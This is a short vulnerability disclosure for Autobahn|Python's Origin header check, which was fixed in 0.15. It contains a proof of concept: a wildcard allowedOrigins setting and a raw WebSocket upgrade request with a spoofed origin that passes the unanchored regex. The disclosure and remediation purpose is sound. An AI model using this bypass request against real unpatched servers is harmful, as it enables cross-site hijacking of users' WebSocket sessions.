Autobahn|Python Origin Header Manipulation allows execution of legitimate requests for WAMP WebSocket requests against a server from a different browser's context. Fixed in Autobahn|Python 0.15.

Code
`Observation:  
Autobahn|Python incorrectly checks the Origin header when the 'allowedOrigins' value is set. This can allow third parties to execute legitimate requests for WAMP WebSocket requests against an Autobahn|Python/Crossbar.io server within another browser's context.  
  
Proof of Concept:  
The following will set  
```  
class OriginCheckServerFactory(WebSocketServerFactory):  
protocol = ...arbitrary entry here...  
  
def __init__(self, url):  
WebSocketServerFactory.__init__(self, url)  
self.setProtocolOptions(allowedOrigins=[u"127.0.0.1",u"*.example.com"])  
```  
  
Then the following connection request will result in a valid 101 Protocol Switch Response:  
  
```  
GET /ws HTTP/1.1  
Host: www.example.com  
Sec-WebSocket-Version: 13  
Origin: http://www.example.com.malicious.com  
Sec-WebSocket-Extensions: permessage-deflate  
Sec-WebSocket-Key: tXAxWFUqnhi86Ajj7dRY5g==  
Connection: keep-alive, Upgrade  
Upgrade: websocket  
```  
  
This is due to the wildcard2patterns function, which turns `u"*.example.com"` into `r".*\.example\.com"`. This regex pattern is then matched against the complete incoming origin value(https://github.com/crossbario/autobahn-python/blob/1c86fefa733901247d6439af346d77cbb58a9bf4/autobahn/websocket/protocol.py#L2588).  
  
Remediation:  
This issue was fixed within Autobahn|Python 0.15.0 (https://autobahn-python.readthedocs.io/en/latest/changelog.html#id2)
